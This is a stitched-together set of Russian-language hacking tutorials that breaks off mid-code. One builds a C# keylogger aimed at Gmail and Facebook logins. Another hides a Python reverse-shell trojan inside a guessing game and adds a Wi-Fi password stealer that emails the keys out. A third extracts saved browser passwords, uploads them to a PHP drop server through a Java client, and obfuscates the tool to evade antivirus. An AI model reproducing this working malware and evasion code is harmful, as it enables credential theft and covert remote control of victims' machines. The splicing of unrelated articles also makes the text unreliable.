Время на прочтение
6 мин
Количество просмотров 134K
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Начнем.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
1. [DllImport("user32.dll")]
2.
3. public static extern int GetAsyncKeyState(Int32 i);
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
1. while (true)
2. {
3. Thread.Sleep(100);
4. for (Int32 i = 0; i < 255; i++)
5. {
6. int state = GetAsyncKeyState(i);
7. if (state == 1 || state == -32767)
8. {
9. Console.WriteLine((Keys)i);
10.
11. }
12. }
13. }
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
1. while (true)
2. {
3. IntPtr handle = GetForegroundWindow();
4. if (GetWindowText(handle, buff, chars) > 0)
5. {
6. string line = buff.ToString();
7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8. {
9. //проверка клавиатуры
10. }
11. }
12. Thread.Sleep(100);
13. }
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
1. //Ищем почтовый адрес
2. ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.
4.
5. //Ищем пароль
6. (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
1. Regex re = new Regex(@"^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3. string email = "Oded.awask@gmail.com";
4. string pass = "abcde3FG";
5. Match result = re.Match(email);
6. Match result2 = re2.Match(pass);
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Содержание
- 1 Как написать троян на Python
- 1.1 Определение IP-адреса
- 1.2 Бэкконнект по почте
- 1.3 Создание трояна на Python
- 1.4 Создание WiFi-стилера на Python
- 2 Заключение
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Еще по теме: Как написать вирус на Python
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный данным материалом. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Не забывайте об этом!
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket from requests import get |
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой
pip.
pip install socket pip install requests |
Если вы видите ошибку, что у вас отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get(‘http://api.ipify.org’).text |
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Никогда не встречал конструкции типа
print(<wbr />f‘{}<wbr />’)? Буква
f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это вам на JavaScript!).
Финальный код:
import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через
pip <wbr />install):
import smtplib as smtp from getpass import getpass |
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо email = ‘demo@spy-soft.net’ # Пароль от нее (вместо ***) password = ‘***’ # Почта, на которую отправляем письмо dest_email = ‘demo@spy-soft.net’ # Тема письма subject = ‘IP’ # Текст письма email_text = ‘TEXT’ |
Дальше сформируем письмо:
message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) |
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера |
В строке
server.<wbr />ehlo(<wbr />email) мы используем команду
EHLO. Большинство серверов SMTP поддерживают
ESMTP и
EHLO. Если сервер, к которому вы пытаетесь подключиться, не поддерживает
EHLO, можно использовать
HELO.
Полный код этой части трояна:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import smtplib as smtp import socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text email = ‘demo@spy-soft.net’ password = ‘***’ dest_email = ‘demo@spy-soft.net’ subject = ‘IP’ email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random import socket import threading import os |
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input(‘Введите число: ‘) # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’) # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print(‘Загаданное число меньше!’) else: print(‘Загаданное число больше!’) # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print(‘Это не число от 0 до 1000!’) |
Зачем столько сложностей с проверкой на число? Можно было просто написать:
guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />) |
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Создаем функцию трояна def trojan(): # IP-адрес атакуемого HOST = ‘192.168.2.112’ # Порт, по которому мы работаем PORT = 9090 # Создаем эхо-сервер client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) while True: # Вводим команду серверу server_command = client.recv(1024).decode(‘cp866’) # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом if server_command == ‘cmdon’: cmd_mode = True # Отправляем информацию на сервер client.send(‘Получен доступ к терминалу’.encode(‘cp866’)) continue # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом if server_command == ‘cmdoff’: cmd_mode = False # Если запущен режим работы с терминалом, вводим команду в терминал через сервер if cmd_mode: os.popen(server_command) # Если же режим работы с терминалом выключен — можно вводить любые команды else: if server_command == ‘hello’: print(‘Hello World!’) # Если команда дошла до клиента — выслать ответ client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’)) |
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Следующая строка:
client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM) |
создает эхо‑сервер (отправили запрос — получили ответ).
AF_INET означает работу с IPv4-адресацией, а
SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка:
client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />) |
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция
client.<wbr />recv(<wbr />1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда
decode(<wbr />‘cp866’) декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно
cp866? Зайдем в командную строку и введем команду
chcp.
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть
utf—8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после
chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocess import time |
Модуль
subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) # Создаем список всех названий всех профилей сети (имена сетей) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] # Для каждого имени… for Wi—Fi in Wi—Fis: # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) # Забираем ключ results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] # Пытаемся его вывести в командной строке, отсекая все ошибки try: print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’) except IndexError: print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’) |
Введя команду в командной строке:
netsh <wbr />wlan <wbr />show <wbr />profiles |
Mы получим следующее.
Если распарсить вывод выше и подставить имя сети в команду:
netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear |
Результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
if server_command == ‘Wi-Fi’: data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] for Wi—Fi in Wi—Fis: results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] try: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() except IndexError: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password not found!’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Еще по теме: Как создать троян для Android
Как без особых знаний воровать пароли -20
Информационная безопасность, Из песочницы
Рекомендация: подборка платных и бесплатных курсов таргетированной рекламе — https://katalog-kursov.ru/
1. Предисловие
Этот материал подготовлен в ознакомительных целях, показать простые и, возможно, интересные вещи, а так же как с их помощью легко создать относительно мощный инструмент под свои нужны.
Я обычный студент и все что будет в этой статье — мои личные наработки и опыт.
2. Введение
Все те люди, которые сохраняют свои пароли в браузерах подвергаются большой опасности, ведь кажется очень легко зайти в компьютер другого человека и получить доступ к множеству веб-сервисов. Те же соц.сети и почты, а там уже море возможностей. Да, сейчас сильно развивается 2-step verification, но все же.
На деле все действительно не сложно. Пароли сохраняются в отдельном файле, который шифруется и прочитать его можно только на той машине, на которой он был создан. Так что просто забрать его себе и пользоваться не получится, придется вытащить от туда пароли. Далее нужно будет их как-то доставить.
Есть хорошая программа — WebBrowserPassView, которая как раз и позволяет вытаскивать пароли, во круг нее и будет кипеть работа.
3. WebBrowserPassView
У данной программы есть как графический интерфейс, так и поддержка командной строки. Однако последнее отключили начиная с версии 1.56. По понятным причинам командная строка нам необходима, по этому ищем более старую версию. И тут будет первая фишка.
Я нашел такую версию, но скачивается exe-шник, который запускать ну никак не хочется, мало ли что он сделает. По этому берем 7z и открываем его как архив
Тадам, видим файлы WebBrowserPassView и еще что-то, что нам не нужно. Достаем необходимое, а сам exe-шник смело удаляем.
Теперь можем запустить программу с консоли таким образом:
start WebBrowserPassView.exe /stext file
С параметром /stext оно сохранит все данные текстом в заданный файл (файл не обязательно должен быть с расширением .txt).
А с полным списком команд можно ознакомиться на официальном сайте
4. Отправка файла на сервер
4.1 Хостинг
Мы уже знаем как достать пароли и сохранить их в файл, это было не сложно. Теперь нужно как-то забрать их. Для этого как минимум нужен сервер со статическим ip. Я пробовал виртуальные сервера от Amazon и тому подобные, но в таком случае нам нужно писать сервер-приложение, возможно платить (Amazon берет плату за статический ip). Сделать сервер из своего домашнего компьютера — не очень подходит как в плане безопасности, так и надежности.
В таком случае я выбрал бесплатный хостинг сайтов. Абсолютно бесплатный и всегда онлайн.
Я использовал zzz.com.ua, но вы можете пробовать на чем хотите.
4.2 Сервер
Я не сильно программист, из языков знаю dos и java на любительском уровне, но вам даже этого не понадобиться, ибо все готовые решения уже давно есть в сети и найти их очень просто.
Наша задача объединить множество простых и уже созданных вещей в что-то уникальное.
Так что смело берем код с какого-то форума и пользуемся.
Сервер будет на php, клиент на java (далеко не самое лучшее решение, на С++ или pyton было бы во много раз эффективнее, да и не у каждого установлена она, но тут моя личная особенность)
Код сервера:
<?php
$target_path = "uploads/";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name'])." has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
?>
Запихиваем это все в файл.php и кидаем в корневую директорию сайта. Так же создаем папку uploads куда будет все грузиться. (ее можно изменить во второй строчке кода).
На этом работа с сервером окончена, приступаем к клиенту.
4.3 Клиент
И так, забегая вперед скажу, что файл с паролями будем сохранять во временную папку системы
%temp%
Отправлять будем http запросом. В коде указано как будто мы отправляем картинку, но не стоит на это обращать внимание.
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Random;
public class MAAm {
private final String CrLf = "rn";
private static String path = "";
private static String urll ="";
private String filename = "" + new Random().nextInt();
public static void main(String[] args) {
path = args[0];
urll = args[1];
MAAm main = new MAAm();
main.httpConn();
}
private void httpConn() {
try {
SimpleDateFormat dateFormat = new SimpleDateFormat("dd.MM.yyyy 'at' HH:mm:ss z");
filename = (System.currentTimeMillis() + " (" + dateFormat.format(new Date()) + ") "
+ System.getProperty("user.name") + " [" + System.getProperty("user.country") + "]") + ".txt"; //имя файла, с которым он будет приходить на сервер
} catch (Exception e) {
}
System.out.println("filename: " + filename);
System.out.println(path);
URLConnection conn = null;
OutputStream os = null;
InputStream is = null;
try {
URL url = new URL(urll);
System.out.println("url:" + url);
conn = url.openConnection();
conn.setDoOutput(true);
String postData = "";
InputStream imgIs = new FileInputStream(path);
// InputStream imgIs = getClass().getResourceAsStream("/1.jpg");
byte[] imgData = new byte[imgIs.available()];
imgIs.read(imgData);
String message1 = "";
message1 += "-----------------------------4664151417711" + CrLf;
message1 += "Content-Disposition: form-data; name="uploadedfile"; filename="" + filename + """ + CrLf;
message1 += "Content-Type: image/jpeg" + CrLf;
message1 += CrLf;
// the image is sent between the messages in the multipart message.
String message2 = "";
message2 += CrLf + "-----------------------------4664151417711--" + CrLf;
conn.setRequestProperty("Content-Type",
"multipart/form-data; boundary=---------------------------4664151417711");
// might not need to specify the content-length when sending chunked
// data.
conn.setRequestProperty("Content-Length",
String.valueOf((message1.length() + message2.length() + imgData.length)));
System.out.println("open os");
os = conn.getOutputStream();
System.out.println(message1);
os.write(message1.getBytes());
// SEND THE IMAGE
int index = 0;
int size = 1024;
do {
System.out.println("write:" + index);
if ((index + size) > imgData.length) {
size = imgData.length - index;
}
os.write(imgData, index, size);
index += size;
} while (index < imgData.length);
System.out.println("written:" + index);
System.out.println(message2);
os.write(message2.getBytes());
os.flush();
System.out.println("open is");
is = conn.getInputStream();
char buff = 512;
int len;
byte[] data = new byte[buff];
do {
System.out.println("READ");
len = is.read(data);
if (len > 0) {
System.out.println(new String(data, 0, len));
}
} while (len > 0);
System.out.println("DONE");
} catch (Exception e) {
e.printStackTrace();
} finally {
System.out.println("Close connection");
try {
os.close();
} catch (Exception e) {
}
try {
is.close();
} catch (Exception e) {
}
try {
} catch (Exception e) {
}
}
}
}
Путь к файлу передается первым параметром, а адрес сайта вторым.
Название файла у меня сконструировано следующим образом: время отправки в виде миллисекунд (время отправки в нормальном формате) имя пользователя компьютера [локализация пользователя]. Этой информации мне кажется достаточно, но по желанию можете изменить.
4.4 Демонстрация
Как видим, после всех этих действий мы спокойно получаем отправляемые файлы к себе на сервер.
5. Криптография
К сожалению, WebBrowserPassView определяется антивирусами как потенциальная угроза или троян. Сжатая UPX программа на VirusTotal набрала 41 обнаружения. Это никуда не годиться, нужно как-то замаскировать. А маскируется все очень просто. Представьте книгу, которую написали задом на перед. В целом ничего такого, очень даже не сложно ее прочитать. Однако результат VirusTotal-а понизился до 6. Хм, а если взять книгу и каждую букву в ней заменить на следом стоящую по алфавиту? Шифр Цезаря. Примитивно, но уже всего 4 антивируса что-то заподозрили. А если объединить эти два метода? А все очень просто, 0.
Да, ты просто берешь программу, записываешь ее побайтово задом на перед а так же добавляешь единицу к каждому байту и ее никакой антивирус не определяет
Для этой цели я создаю еще одно java приложение, но его уже создал сам с нуля.
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class alldo {
public static void main(String[] args) throws IOException {
File file = new File(args[0]);
System.out.println(file.getPath());
InputStream in = new FileInputStream(file);
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
int nRead;
byte[] arr = new byte[(int) file.length()];
while ((nRead = in.read(arr, 0, arr.length)) != -1) {
buffer.write(arr, 0, nRead);
}
in.close();
for (int i = 0; i < arr.length; i++) {
arr[i]--;
}
byte temp=0;
